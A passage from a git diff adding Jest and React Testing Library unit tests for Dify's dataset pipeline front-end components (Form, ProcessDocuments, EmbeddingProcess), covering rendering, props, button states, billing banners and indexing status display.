+
+      // Act
+      const form = container.querySelector('form')!
+      fireEvent.submit(form)
+
+      // Assert
+      await waitFor(() => {
+        expect(onSubmit).toHaveBeenCalled()
+      })
+    })
+  })
+
+  // ==========================================
+  // Edge Cases Testing
+  // ==========================================
+  describe('Edge Cases', () => {
+    it('should handle empty initialData', () => {
+      // Arrange & Act
+      render(<Form {...defaultFormProps} initialData={{}} />)
+
+      // Assert
+      expect(screen.getByText('datasetPipeline.addDocuments.stepTwo.chunkSettings')).toBeInTheDocument()
+    })
+
+    it('should handle configurations with different field types', () => {
+      // Arrange
+      const configurations = [
+        createMockConfiguration({ type: BaseFieldType.textInput, variable: 'text', label: 'Text Field' }),
+        createMockConfiguration({ type: BaseFieldType.numberInput, variable: 'number', label: 'Number Field' }),
+      ]
+
+      // Act
+      render(<Form {...defaultFormProps} configurations={configurations} initialData={{ text: '', number: 0 }} />)
+
+      // Assert
+      expect(screen.getByText('Text Field')).toBeInTheDocument()
+      expect(screen.getByText('Number Field')).toBeInTheDocument()
+    })
+
+    it('should handle null ref', () => {
+      // Arrange & Act
+      render(<Form {...defaultFormProps} ref={{ current: null }} />)
+
+      // Assert
+      expect(screen.getByText('datasetPipeline.addDocuments.stepTwo.chunkSettings')).toBeInTheDocument()
+    })
+  })
+
+  // ==========================================
+  // Configuration Variations Testing
+  // ==========================================
+  describe('Configuration Variations', () => {
+    it('should render configuration with label', () => {
+      // Arrange
+      const configurations = [
+        createMockConfiguration({ variable: 'field1', label: 'Custom Label' }),
+      ]
+
+      // Act
+      render(<Form {...defaultFormProps} configurations={configurations} />)
+
+      // Assert
+      expect(screen.getByText('Custom Label')).toBeInTheDocument()
+    })
+
+    it('should render required configuration', () => {
+      // Arrange
+      const configurations = [
+        createMockConfiguration({ variable: 'field1', label: 'Required Field', required: true }),
+      ]
+
+      // Act
+      render(<Form {...defaultFormProps} configurations={configurations} />)
+
+      // Assert
+      expect(screen.getByText('Required Field')).toBeInTheDocument()
+    })
+  })
+})
+
+// ==========================================
+// Integration Tests (Cross-component)
+// ==========================================
+describe('Process Documents Components Integration', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  describe('Form with Header Integration', () => {
+    const defaultFormProps = {
+      initialData: { field1: '' },
+      configurations: [] as BaseConfiguration[],
+      schema: createMockSchema(),
+      onSubmit: jest.fn(),
+      onPreview: jest.fn(),
+      ref: { current: null } as React.RefObject<unknown>,
+      isRunning: false,
+    }
+
+    it('should render Header within Form', () => {
+      // Arrange & Act
+      render(<Form {...defaultFormProps} />)
+
+      // Assert
+      expect(screen.getByText('datasetPipeline.addDocuments.stepTwo.chunkSettings')).toBeInTheDocument()
+      expect(screen.getByRole('button', { name: /common.operation.reset/i })).toBeInTheDocument()
+    })
+
+    it('should pass isRunning to Header for previewDisabled', () => {
+      // Arrange & Act
+      render(<Form {...defaultFormProps} isRunning={true} />)
+
+      // Assert
+      const previewButton = screen.getByRole('button', { name: /datasetPipeline.addDocuments.stepTwo.previewChunks/i })
+      expect(previewButton).toBeDisabled()
+    })
+  })
+})
diff --git a/web/app/components/datasets/documents/create-from-pipeline/process-documents/index.spec.tsx b/web/app/components/datasets/documents/create-from-pipeline/process-documents/index.spec.tsx
new file mode 100644
index 0000000000..8b132de0de
--- /dev/null
+++ b/web/app/components/datasets/documents/create-from-pipeline/process-documents/index.spec.tsx
@@ -0,0 +1,601 @@
+import { fireEvent, render, screen, waitFor } from '@testing-library/react'
+import React from 'react'
+import ProcessDocuments from './index'
+import type { BaseConfiguration } from '@/app/components/base/form/form-scenarios/base/types'
+import { BaseFieldType } from '@/app/components/base/form/form-scenarios/base/types'
+
+// ==========================================
+// Mock External Dependencies
+// ==========================================
+
+// Mock useInputVariables hook
+let mockIsFetchingParams = false
+let mockParamsConfig: { variables: unknown[] } | undefined = { variables: [] }
+jest.mock('./hooks', () => ({
+  useInputVariables: jest.fn(() => ({
+    isFetchingParams: mockIsFetchingParams,
+    paramsConfig: mockParamsConfig,
+  })),
+}))
+
+// Mock useConfigurations hook
+let mockConfigurations: BaseConfiguration[] = []
+
+// Mock useInitialData hook
+let mockInitialData: Record<string, unknown> = {}
+jest.mock('@/app/components/rag-pipeline/hooks/use-input-fields', () => ({
+  useInitialData: jest.fn(() => mockInitialData),
+  useConfigurations: jest.fn(() => mockConfigurations),
+}))
+
+// ==========================================
+// Test Data Factory Functions
+// ==========================================
+
+/**
+ * Creates mock configuration for testing
+ */
+const createMockConfiguration = (overrides: Partial<BaseConfiguration> = {}): BaseConfiguration => ({
+  type: BaseFieldType.textInput,
+  variable: 'testVariable',
+  label: 'Test Label',
+  required: false,
+  maxLength: undefined,
+  options: undefined,
+  showConditions: [],
+  placeholder: '',
+  tooltip: '',
+  ...overrides,
+})
+
+/**
+ * Creates default test props
+ */
+const createDefaultProps = (overrides: Partial<React.ComponentProps<typeof ProcessDocuments>> = {}) => ({
+  dataSourceNodeId: 'test-node-id',
+  ref: { current: null } as React.RefObject<unknown>,
+  isRunning: false,
+  onProcess: jest.fn(),
+  onPreview: jest.fn(),
+  onSubmit: jest.fn(),
+  onBack: jest.fn(),
+  ...overrides,
+})
+
+// ==========================================
+// Test Suite
+// ==========================================
+
+describe('ProcessDocuments', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+    // Reset mock values
+    mockIsFetchingParams = false
+    mockParamsConfig = { variables: [] }
+    mockInitialData = {}
+    mockConfigurations = []
+  })
+
+  // ==========================================
+  // Rendering Tests
+  // ==========================================
+  describe('Rendering', () => {
+    // Tests basic rendering functionality
+    it('should render without crashing', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<ProcessDocuments {...props} />)
+
+      // Assert - check for Header title from Form component
+      expect(screen.getByText('datasetPipeline.addDocuments.stepTwo.chunkSettings')).toBeInTheDocument()
+    })
+
+    it('should render Form and Actions components', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<ProcessDocuments {...props} />)
+
+      // Assert - check for elements from both components
+      expect(screen.getByText('datasetPipeline.addDocuments.stepTwo.chunkSettings')).toBeInTheDocument()
+      expect(screen.getByText('datasetPipeline.operations.dataSource')).toBeInTheDocument()
+      expect(screen.getByText('datasetPipeline.operations.saveAndProcess')).toBeInTheDocument()
+    })
+
+    it('should render with correct container structure', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      const { container } = render(<ProcessDocuments {...props} />)
+
+      // Assert
+      const mainContainer = container.querySelector('.flex.flex-col.gap-y-4.pt-4')
+      expect(mainContainer).toBeInTheDocument()
+    })
+  })
+
+  // ==========================================
+  // Props Testing
+  // ==========================================
+  describe('Props', () => {
+    describe('dataSourceNodeId prop', () => {
+      it('should pass dataSourceNodeId to useInputVariables hook', () => {
+        // Arrange
+        const { useInputVariables } = require('./hooks')
+        const props = createDefaultProps({ dataSourceNodeId: 'custom-node-id' })
+
+        // Act
+        render(<ProcessDocuments {...props} />)
+
+        // Assert
+        expect(useInputVariables).toHaveBeenCalledWith('custom-node-id')
+      })
+
+      it('should handle empty dataSourceNodeId', () => {
+        // Arrange
+        const props = createDefaultProps({ dataSourceNodeId: '' })
+
+        // Act
+        render(<ProcessDocuments {...props} />)
+
+        // Assert
+        expect(screen.getByText('datasetPipeline.addDocuments.stepTwo.chunkSettings')).toBeInTheDocument()
+      })
+    })
+
+    describe('isRunning prop', () => {
+      it('should disable preview button when isRunning is true', () => {
+        // Arrange
+        const props = createDefaultProps({ isRunning: true })
+
+        // Act
+        render(<ProcessDocuments {...props} />)
+
+        // Assert
+        const previewButton = screen.getByRole('button', { name: /datasetPipeline.addDocuments.stepTwo.previewChunks/i })
+        expect(previewButton).toBeDisabled()
+      })
+
+      it('should not disable preview button when isRunning is false', () => {
+        // Arrange
+        const props = createDefaultProps({ isRunning: false })
+
+        // Act
+        render(<ProcessDocuments {...props} />)
+
+        // Assert
+        const previewButton = screen.getByRole('button', { name: /datasetPipeline.addDocuments.stepTwo.previewChunks/i })
+        expect(previewButton).not.toBeDisabled()
+      })
+
+      it('should disable process button in Actions when isRunning is true', () => {
+        // Arrange
+        mockIsFetchingParams = false
+        const props = createDefaultProps({ isRunning: true })
+
+        // Act
+        render(<ProcessDocuments {...props} />)
+
+        // Assert
+        const processButton = screen.getByRole('button', { name: /datasetPipeline.operations.saveAndProcess/i })
+        expect(processButton).toBeDisabled()
+      })
+    })
+
+    describe('ref prop', () => {
+      it('should expose submit method via ref', () => {
+        // Arrange
+        const mockRef = { current: null } as React.MutableRefObject<{ submit: () => void } | null>
+        const props = createDefaultProps({ ref: mockRef })
+
+        // Act
+        render(<ProcessDocuments {...props} />)
+
+        // Assert
+        expect(mockRef.current).not.toBeNull()
+        expect(typeof mockRef.current?.submit).toBe('function')
+      })
+    })
+  })
+
+  // ==========================================
+  // User Interactions Testing
+  // ==========================================
+  describe('User Interactions', () => {
+    it('should call onProcess when Actions process button is clicked', () => {
+      // Arrange
+      const onProcess = jest.fn()
+      const props = createDefaultProps({ onProcess })
+
+      render(<ProcessDocuments {...props} />)
+
+      // Act
+      fireEvent.click(screen.getByRole('button', { name: /datasetPipeline.operations.saveAndProcess/i }))
+
+      // Assert
+      expect(onProcess).toHaveBeenCalledTimes(1)
+    })
+
+    it('should call onBack when Actions back button is clicked', () => {
+      // Arrange
+      const onBack = jest.fn()
+      const props = createDefaultProps({ onBack })
+
+      render(<ProcessDocuments {...props} />)
+
+      // Act
+      fireEvent.click(screen.getByRole('button', { name: /datasetPipeline.operations.dataSource/i }))
+
+      // Assert
+      expect(onBack).toHaveBeenCalledTimes(1)
+    })
+
+    it('should call onPreview when preview button is clicked', () => {
+      // Arrange
+      const onPreview = jest.fn()
+      const props = createDefaultProps({ onPreview })
+
+      render(<ProcessDocuments {...props} />)
+
+      // Act
+      fireEvent.click(screen.getByRole('button', { name: /datasetPipeline.addDocuments.stepTwo.previewChunks/i }))
+
+      // Assert
+      expect(onPreview).toHaveBeenCalledTimes(1)
+    })
+
+    it('should call onSubmit when form is submitted', async () => {
+      // Arrange
+      const onSubmit = jest.fn()
+      const props = createDefaultProps({ onSubmit })
+      const { container } = render(<ProcessDocuments {...props} />)
+
+      // Act
+      const form = container.querySelector('form')!
+      fireEvent.submit(form)
+
+      // Assert
+      await waitFor(() => {
+        expect(onSubmit).toHaveBeenCalled()
+      })
+    })
+  })
+
+  // ==========================================
+  // Hook Integration Tests
+  // ==========================================
+  describe('Hook Integration', () => {
+    it('should pass variables from useInputVariables to useInitialData', () => {
+      // Arrange
+      const mockVariables = [{ variable: 'testVar', type: 'text', label: 'Test' }]
+      mockParamsConfig = { variables: mockVariables }
+      const { useInitialData } = require('@/app/components/rag-pipeline/hooks/use-input-fields')
+      const props = createDefaultProps()
+
+      // Act
+      render(<ProcessDocuments {...props} />)
+
+      // Assert
+      expect(useInitialData).toHaveBeenCalledWith(mockVariables)
+    })
+
+    it('should pass variables from useInputVariables to useConfigurations', () => {
+      // Arrange
+      const mockVariables = [{ variable: 'testVar', type: 'text', label: 'Test' }]
+      mockParamsConfig = { variables: mockVariables }
+      const { useConfigurations } = require('@/app/components/rag-pipeline/hooks/use-input-fields')
+      const props = createDefaultProps()
+
+      // Act
+      render(<ProcessDocuments {...props} />)
+
+      // Assert
+      expect(useConfigurations).toHaveBeenCalledWith(mockVariables)
+    })
+
+    it('should use empty array when paramsConfig.variables is undefined', () => {
+      // Arrange
+      mockParamsConfig = { variables: undefined as unknown as unknown[] }
+      const { useInitialData, useConfigurations } = require('@/app/components/rag-pipeline/hooks/use-input-fields')
+      const props = createDefaultProps()
+
+      // Act
+      render(<ProcessDocuments {...props} />)
+
+      // Assert
+      expect(useInitialData).toHaveBeenCalledWith([])
+      expect(useConfigurations).toHaveBeenCalledWith([])
+    })
+
+    it('should use empty array when paramsConfig is undefined', () => {
+      // Arrange
+      mockParamsConfig = undefined
+      const { useInitialData, useConfigurations } = require('@/app/components/rag-pipeline/hooks/use-input-fields')
+      const props = createDefaultProps()
+
+      // Act
+      render(<ProcessDocuments {...props} />)
+
+      // Assert
+      expect(useInitialData).toHaveBeenCalledWith([])
+      expect(useConfigurations).toHaveBeenCalledWith([])
+    })
+  })
+
+  // ==========================================
+  // Actions runDisabled Testing
+  // ==========================================
+  describe('Actions runDisabled', () => {
+    it('should disable process button when isFetchingParams is true', () => {
+      // Arrange
+      mockIsFetchingParams = true
+      const props = createDefaultProps({ isRunning: false })
+
+      // Act
+      render(<ProcessDocuments {...props} />)
+
+      // Assert
+      const processButton = screen.getByRole('button', { name: /datasetPipeline.operations.saveAndProcess/i })
+      expect(processButton).toBeDisabled()
+    })
+
+    it('should disable process button when isRunning is true', () => {
+      // Arrange
+      mockIsFetchingParams = false
+      const props = createDefaultProps({ isRunning: true })
+
+      // Act
+      render(<ProcessDocuments {...props} />)
+
+      // Assert
+      const processButton = screen.getByRole('button', { name: /datasetPipeline.operations.saveAndProcess/i })
+      expect(processButton).toBeDisabled()
+    })
+
+    it('should enable process button when both isFetchingParams and isRunning are false', () => {
+      // Arrange
+      mockIsFetchingParams = false
+      const props = createDefaultProps({ isRunning: false })
+
+      // Act
+      render(<ProcessDocuments {...props} />)
+
+      // Assert
+      const processButton = screen.getByRole('button', { name: /datasetPipeline.operations.saveAndProcess/i })
+      expect(processButton).not.toBeDisabled()
+    })
+
+    it('should disable process button when both isFetchingParams and isRunning are true', () => {
+      // Arrange
+      mockIsFetchingParams = true
+      const props = createDefaultProps({ isRunning: true })
+
+      // Act
+      render(<ProcessDocuments {...props} />)
+
+      // Assert
+      const processButton = screen.getByRole('button', { name: /datasetPipeline.operations.saveAndProcess/i })
+      expect(processButton).toBeDisabled()
+    })
+  })
+
+  // ==========================================
+  // Component Memoization Testing
+  // ==========================================
+  describe('Component Memoization', () => {
+    it('should be wrapped with React.memo', () => {
+      // Assert - verify component has memo wrapper
+      expect(ProcessDocuments.$$typeof).toBe(Symbol.for('react.memo'))
+    })
+
+    it('should render correctly after rerender with same props', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      const { rerender } = render(<ProcessDocuments {...props} />)
+      rerender(<ProcessDocuments {...props} />)
+
+      // Assert
+      expect(screen.getByText('datasetPipeline.addDocuments.stepTwo.chunkSettings')).toBeInTheDocument()
+    })
+
+    it('should update when dataSourceNodeId prop changes', () => {
+      // Arrange
+      const { useInputVariables } = require('./hooks')
+      const props = createDefaultProps({ dataSourceNodeId: 'node-1' })
+
+      // Act
+      const { rerender } = render(<ProcessDocuments {...props} />)
+      expect(useInputVariables).toHaveBeenLastCalledWith('node-1')
+
+      rerender(<ProcessDocuments {...props} dataSourceNodeId="node-2" />)
+
+      // Assert
+      expect(useInputVariables).toHaveBeenLastCalledWith('node-2')
+    })
+  })
+
+  // ==========================================
+  // Edge Cases Testing
+  // ==========================================
+  describe('Edge Cases', () => {
+    it('should handle undefined paramsConfig gracefully', () => {
+      // Arrange
+      mockParamsConfig = undefined
+      const props = createDefaultProps()
+
+      // Act
+      render(<ProcessDocuments {...props} />)
+
+      // Assert
+      expect(screen.getByText('datasetPipeline.addDocuments.stepTwo.chunkSettings')).toBeInTheDocument()
+    })
+
+    it('should handle empty variables array', () => {
+      // Arrange
+      mockParamsConfig = { variables: [] }
+      mockConfigurations = []
+      const props = createDefaultProps()
+
+      // Act
+      render(<ProcessDocuments {...props} />)
+
+      // Assert
+      expect(screen.getByText('datasetPipeline.addDocuments.stepTwo.chunkSettings')).toBeInTheDocument()
+    })
+
+    it('should handle special characters in dataSourceNodeId', () => {
+      // Arrange
+      const { useInputVariables } = require('./hooks')
+      const props = createDefaultProps({ dataSourceNodeId: 'node-id-with-special_chars:123' })
+
+      // Act
+      render(<ProcessDocuments {...props} />)
+
+      // Assert
+      expect(useInputVariables).toHaveBeenCalledWith('node-id-with-special_chars:123')
+    })
+
+    it('should handle long dataSourceNodeId', () => {
+      // Arrange
+      const { useInputVariables } = require('./hooks')
+      const longId = 'a'.repeat(1000)
+      const props = createDefaultProps({ dataSourceNodeId: longId })
+
+      // Act
+      render(<ProcessDocuments {...props} />)
+
+      // Assert
+      expect(useInputVariables).toHaveBeenCalledWith(longId)
+    })
+
+    it('should handle multiple callbacks without interference', () => {
+      // Arrange
+      const onProcess = jest.fn()
+      const onBack = jest.fn()
+      const onPreview = jest.fn()
+      const props = createDefaultProps({ onProcess, onBack, onPreview })
+
+      render(<ProcessDocuments {...props} />)
+
+      // Act
+      fireEvent.click(screen.getByRole('button', { name: /datasetPipeline.operations.saveAndProcess/i }))
+      fireEvent.click(screen.getByRole('button', { name: /datasetPipeline.operations.dataSource/i }))
+      fireEvent.click(screen.getByRole('button', { name: /datasetPipeline.addDocuments.stepTwo.previewChunks/i }))
+
+      // Assert
+      expect(onProcess).toHaveBeenCalledTimes(1)
+      expect(onBack).toHaveBeenCalledTimes(1)
+      expect(onPreview).toHaveBeenCalledTimes(1)
+    })
+  })
+
+  // ==========================================
+  // runDisabled Logic Testing (with test.each)
+  // ==========================================
+  describe('runDisabled Logic', () => {
+    const runDisabledTestCases = [
+      { isFetchingParams: false, isRunning: false, expectedDisabled: false },
+      { isFetchingParams: false, isRunning: true, expectedDisabled: true },
+      { isFetchingParams: true, isRunning: false, expectedDisabled: true },
+      { isFetchingParams: true, isRunning: true, expectedDisabled: true },
+    ]
+
+    it.each(runDisabledTestCases)(
+      'should set process button disabled=$expectedDisabled when isFetchingParams=$isFetchingParams and isRunning=$isRunning',
+      ({ isFetchingParams, isRunning, expectedDisabled }) => {
+        // Arrange
+        mockIsFetchingParams = isFetchingParams
+        const props = createDefaultProps({ isRunning })
+
+        // Act
+        render(<ProcessDocuments {...props} />)
+
+        // Assert
+        const processButton = screen.getByRole('button', { name: /datasetPipeline.operations.saveAndProcess/i })
+        if (expectedDisabled)
+          expect(processButton).toBeDisabled()
+        else
+          expect(processButton).not.toBeDisabled()
+      },
+    )
+  })
+
+  // ==========================================
+  // Configuration Rendering Tests
+  // ==========================================
+  describe('Configuration Rendering', () => {
+    it('should render configurations as form fields', () => {
+      // Arrange
+      mockConfigurations = [
+        createMockConfiguration({ variable: 'var1', label: 'Variable 1' }),
+        createMockConfiguration({ variable: 'var2', label: 'Variable 2' }),
+      ]
+      mockInitialData = { var1: '', var2: '' }
+      const props = createDefaultProps()
+
+      // Act
+      render(<ProcessDocuments {...props} />)
+
+      // Assert
+      expect(screen.getByText('Variable 1')).toBeInTheDocument()
+      expect(screen.getByText('Variable 2')).toBeInTheDocument()
+    })
+
+    it('should handle configurations with different field types', () => {
+      // Arrange
+      mockConfigurations = [
+        createMockConfiguration({ type: BaseFieldType.textInput, variable: 'textVar', label: 'Text Field' }),
+        createMockConfiguration({ type: BaseFieldType.numberInput, variable: 'numberVar', label: 'Number Field' }),
+      ]
+      mockInitialData = { textVar: '', numberVar: 0 }
+      const props = createDefaultProps()
+
+      // Act
+      render(<ProcessDocuments {...props} />)
+
+      // Assert
+      expect(screen.getByText('Text Field')).toBeInTheDocument()
+      expect(screen.getByText('Number Field')).toBeInTheDocument()
+    })
+  })
+
+  // ==========================================
+  // Full Integration Props Testing
+  // ==========================================
+  describe('Full Prop Integration', () => {
+    it('should render correctly with all props provided', () => {
+      // Arrange
+      const mockRef = { current: null } as React.MutableRefObject<{ submit: () => void } | null>
+      mockIsFetchingParams = false
+      mockParamsConfig = { variables: [{ variable: 'testVar', type: 'text', label: 'Test' }] }
+      mockInitialData = { testVar: 'initial value' }
+      mockConfigurations = [createMockConfiguration({ variable: 'testVar', label: 'Test Variable' })]
+
+      const props = {
+        dataSourceNodeId: 'full-test-node',
+        ref: mockRef,
+        isRunning: false,
+        onProcess: jest.fn(),
+        onPreview: jest.fn(),
+        onSubmit: jest.fn(),
+        onBack: jest.fn(),
+      }
+
+      // Act
+      render(<ProcessDocuments {...props} />)
+
+      // Assert
+      expect(screen.getByText('datasetPipeline.addDocuments.stepTwo.chunkSettings')).toBeInTheDocument()
+      expect(screen.getByText('datasetPipeline.operations.dataSource')).toBeInTheDocument()
+      expect(screen.getByText('datasetPipeline.operations.saveAndProcess')).toBeInTheDocument()
+      expect(screen.getByText('Test Variable')).toBeInTheDocument()
+      expect(mockRef.current).not.toBeNull()
+    })
+  })
+})
diff --git a/web/app/components/datasets/documents/create-from-pipeline/processing/embedding-process/index.spec.tsx b/web/app/components/datasets/documents/create-from-pipeline/processing/embedding-process/index.spec.tsx
new file mode 100644
index 0000000000..3684f3aef6
--- /dev/null
+++ b/web/app/components/datasets/documents/create-from-pipeline/processing/embedding-process/index.spec.tsx
@@ -0,0 +1,1260 @@
+import { fireEvent, render, screen, waitFor } from '@testing-library/react'
+import React from 'react'
+import EmbeddingProcess from './index'
+import type { DocumentIndexingStatus, IndexingStatusResponse } from '@/models/datasets'
+import { DatasourceType, type InitialDocumentDetail } from '@/models/pipeline'
+import { Plan } from '@/app/components/billing/type'
+import { RETRIEVE_METHOD } from '@/types/app'
+import { IndexingType } from '@/app/components/datasets/create/step-two'
+
+// ==========================================
+// Mock External Dependencies
+// ==========================================
+
+// Mock next/navigation
+const mockPush = jest.fn()
+jest.mock('next/navigation', () => ({
+  useRouter: () => ({
+    push: mockPush,
+  }),
+}))
+
+// Mock next/link
+jest.mock('next/link', () => {
+  return function MockLink({ children, href, ...props }: { children: React.ReactNode; href: string }) {
+    return <a href={href} {...props}>{children}</a>
+  }
+})
+
+// Mock provider context
+let mockEnableBilling = false
+let mockPlanType: Plan = Plan.sandbox
+jest.mock('@/context/provider-context', () => ({
+  useProviderContext: () => ({
+    enableBilling: mockEnableBilling,
+    plan: { type: mockPlanType },
+  }),
+}))
+
+// Mock useIndexingStatusBatch hook
+let mockFetchIndexingStatus: jest.Mock
+let mockIndexingStatusData: IndexingStatusResponse[] = []
+jest.mock('@/service/knowledge/use-dataset', () => ({
+  useIndexingStatusBatch: () => ({
+    mutateAsync: mockFetchIndexingStatus,
+  }),
+  useProcessRule: () => ({
+    data: {
+      mode: 'custom',
+      rules: { parent_mode: 'paragraph' },
+    },
+  }),
+}))
+
+// Mock useInvalidDocumentList hook
+const mockInvalidDocumentList = jest.fn()
+jest.mock('@/service/knowledge/use-document', () => ({
+  useInvalidDocumentList: () => mockInvalidDocumentList,
+}))
+
+// Mock useDatasetApiAccessUrl hook
+jest.mock('@/hooks/use-api-access-url', () => ({
+  useDatasetApiAccessUrl: () => 'https://docs.dify.ai/api-reference/datasets',
+}))
+
+// ==========================================
+// Test Data Factory Functions
+// ==========================================
+
+/**
+ * Creates a mock InitialDocumentDetail for testing
+ * Uses deterministic counter-based IDs to avoid flaky tests
+ */
+let documentIdCounter = 0
+const createMockDocument = (overrides: Partial<InitialDocumentDetail> = {}): InitialDocumentDetail => ({
+  id: overrides.id ?? `doc-${++documentIdCounter}`,
+  name: 'test-document.txt',
+  data_source_type: DatasourceType.localFile,
+  data_source_info: {},
+  enable: true,
+  error: '',
+  indexing_status: 'waiting' as DocumentIndexingStatus,
+  position: 0,
+  ...overrides,
+})
+
+/**
+ * Creates a mock IndexingStatusResponse for testing
+ */
+const createMockIndexingStatus = (overrides: Partial<IndexingStatusResponse> = {}): IndexingStatusResponse => ({
+  id: `doc-${Math.random().toString(36).slice(2, 9)}`,
+  indexing_status: 'waiting' as DocumentIndexingStatus,
+  processing_started_at: Date.now(),
+  parsing_completed_at: 0,
+  cleaning_completed_at: 0,
+  splitting_completed_at: 0,
+  completed_at: null,
+  paused_at: null,
+  error: null,
+  stopped_at: null,
+  completed_segments: 0,
+  total_segments: 100,
+  ...overrides,
+})
+
+/**
+ * Creates default props for EmbeddingProcess component
+ */
+const createDefaultProps = (overrides: Partial<{
+  datasetId: string
+  batchId: string
+  documents: InitialDocumentDetail[]
+  indexingType: IndexingType
+  retrievalMethod: RETRIEVE_METHOD
+}> = {}) => ({
+  datasetId: 'dataset-123',
+  batchId: 'batch-456',
+  documents: [createMockDocument({ id: 'doc-1', name: 'test-doc.pdf' })],
+  indexingType: IndexingType.QUALIFIED,
+  retrievalMethod: RETRIEVE_METHOD.semantic,
+  ...overrides,
+})
+
+// ==========================================
+// Test Suite
+// ==========================================
+
+describe('EmbeddingProcess', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+    jest.useFakeTimers()
+
+    // Reset deterministic ID counter for reproducible tests
+    documentIdCounter = 0
+
+    // Reset mock states
+    mockEnableBilling = false
+    mockPlanType = Plan.sandbox
+    mockIndexingStatusData = []
+
+    // Setup default mock for fetchIndexingStatus
+    mockFetchIndexingStatus = jest.fn().mockImplementation((_, options) => {
+      options?.onSuccess?.({ data: mockIndexingStatusData })
+      options?.onSettled?.()
+      return Promise.resolve({ data: mockIndexingStatusData })
+    })
+  })
+
+  afterEach(() => {
+    jest.useRealTimers()
+  })
+
+  // ==========================================
+  // Rendering Tests
+  // ==========================================
+  describe('Rendering', () => {
+    // Tests basic rendering functionality
+    it('should render without crashing', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<EmbeddingProcess {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('rule-detail')).toBeInTheDocument()
+    })
+
+    it('should render RuleDetail component with correct props', () => {
+      // Arrange
+      const props = createDefaultProps({
+        indexingType: IndexingType.ECONOMICAL,
+        retrievalMethod: RETRIEVE_METHOD.fullText,
+      })
+
+      // Act
+      render(<EmbeddingProcess {...props} />)
+
+      // Assert - RuleDetail renders FieldInfo components with translated text
+      // Check that the component renders without error
+      expect(screen.getByTestId('rule-detail')).toBeInTheDocument()
+    })
+
+    it('should render API reference link with correct URL', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<EmbeddingProcess {...props} />)
+
+      // Assert
+      const apiLink = screen.getByRole('link', { name: /access the api/i })
+      expect(apiLink).toHaveAttribute('href', 'https://docs.dify.ai/api-reference/datasets')
+      expect(apiLink).toHaveAttribute('target', '_blank')
+      expect(apiLink).toHaveAttribute('rel', 'noopener noreferrer')
+    })
+
+    it('should render navigation button', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<EmbeddingProcess {...props} />)
+
+      // Assert
+      expect(screen.getByText('datasetCreation.stepThree.navTo')).toBeInTheDocument()
+    })
+  })
+
+  // ==========================================
+  // Billing/Upgrade Banner Tests
+  // ==========================================
+  describe('Billing and Upgrade Banner', () => {
+    // Tests for billing-related UI
+    it('should not show upgrade banner when billing is disabled', () => {
+      // Arrange
+      mockEnableBilling = false
+      const props = createDefaultProps()
+
+      // Act
+      render(<EmbeddingProcess {...props} />)
+
+      // Assert
+      expect(screen.queryByText('billing.plansCommon.documentProcessingPriorityUpgrade')).not.toBeInTheDocument()
+    })
+
+    it('should show upgrade banner when billing is enabled and plan is not team', () => {
+      // Arrange
+      mockEnableBilling = true
+      mockPlanType = Plan.sandbox
+      const props = createDefaultProps()
+
+      // Act
+      render(<EmbeddingProcess {...props} />)
+
+      // Assert
+      expect(screen.getByText('billing.plansCommon.documentProcessingPriorityUpgrade')).toBeInTheDocument()
+    })
+
+    it('should not show upgrade banner when plan is team', () => {
+      // Arrange
+      mockEnableBilling = true
+      mockPlanType = Plan.team
+      const props = createDefaultProps()
+
+      // Act
+      render(<EmbeddingProcess {...props} />)
+
+      // Assert
+      expect(screen.queryByText('billing.plansCommon.documentProcessingPriorityUpgrade')).not.toBeInTheDocument()
+    })
+
+    it('should show upgrade banner for professional plan', () => {
+      // Arrange
+      mockEnableBilling = true
+      mockPlanType = Plan.professional
+      const props = createDefaultProps()
+
+      // Act
+      render(<EmbeddingProcess {...props} />)
+
+      // Assert
+      expect(screen.getByText('billing.plansCommon.documentProcessingPriorityUpgrade')).toBeInTheDocument()
+    })
+  })
+
+  // ==========================================
+  // Status Display Tests
+  // ==========================================
+  describe('Status Display', () => {
+    // Tests for embedding status display
+    it('should show waiting status when all documents are waiting', async () => {
+      // Arrange
+      const doc1 = createMockDocument({ id: 'doc-1' })
+      mockIndexingStatusData = [
+        createMockIndexingStatus({ id: 'doc-1', indexing_status: 'waiting' }),
+      ]
+      const props = createDefaultProps({ documents: [doc1] })
+
+      // Act
+      render(<EmbeddingProcess {...props} />)
+      await waitFor(() => {
+        expect(mockFetchIndexingStatus).toHaveBeenCalled()
+      })
+
+      // Assert
+      expect(screen.getByText('datasetDocuments.embedding.waiting')).toBeInTheDocument()
+    })
+
+    it('should show processing status when any document is indexing', async () => {
+      // Arrange
+      const doc1 = createMockDocument({ id: 'doc-1' })
+      mockIndexingStatusData = [
+        createMockIndexingStatus({ id: 'doc-1', indexing_status: 'indexing' }),
+      ]
+      const props = createDefaultProps({ documents: [doc1] })
+
+      // Act
+      render(<EmbeddingProcess {...props} />)
+      await waitFor(() => {
+        expect(mockFetchIndexingStatus).toHaveBeenCalled()
+      })
+
+      // Assert
+      expect(screen.getByText('datasetDocuments.embedding.processing')).toBeInTheDocument()
+    })
+
+    it('should show processing status when any document is splitting', async () => {
+      // Arrange
+      const doc1 = createMockDocument({ id: 'doc-1' })
+      mockIndexingStatusData = [
+        createMockIndexingStatus({ id: 'doc-1', indexing_status: 'splitting' }),
+      ]
+      const props = createDefaultProps({ documents: [doc1] })
+
+      // Act
+      render(<EmbeddingProcess {...props} />)
+      await waitFor(() => {
+        expect(mockFetchIndexingStatus).toHaveBeenCalled()
+      })
+
+      // Assert
+      expect(screen.getByText('datasetDocuments.embedding.processing')).toBeInTheDocument()
+    })
+
+    it('should show processing status when any document is parsing', async () => {
+      // Arrange
+      const doc1 = createMockDocument({ id: 'doc-1' })
+      mockIndexingStatusData = [
+        createMockIndexingStatus({ id: 'doc-1', indexing_status: 'parsing' }),
+      ]
+      const props = createDefaultProps({ documents: [doc1] })
+
+      // Act
+      render(<EmbeddingProcess {...props} />)
+      await waitFor(() => {
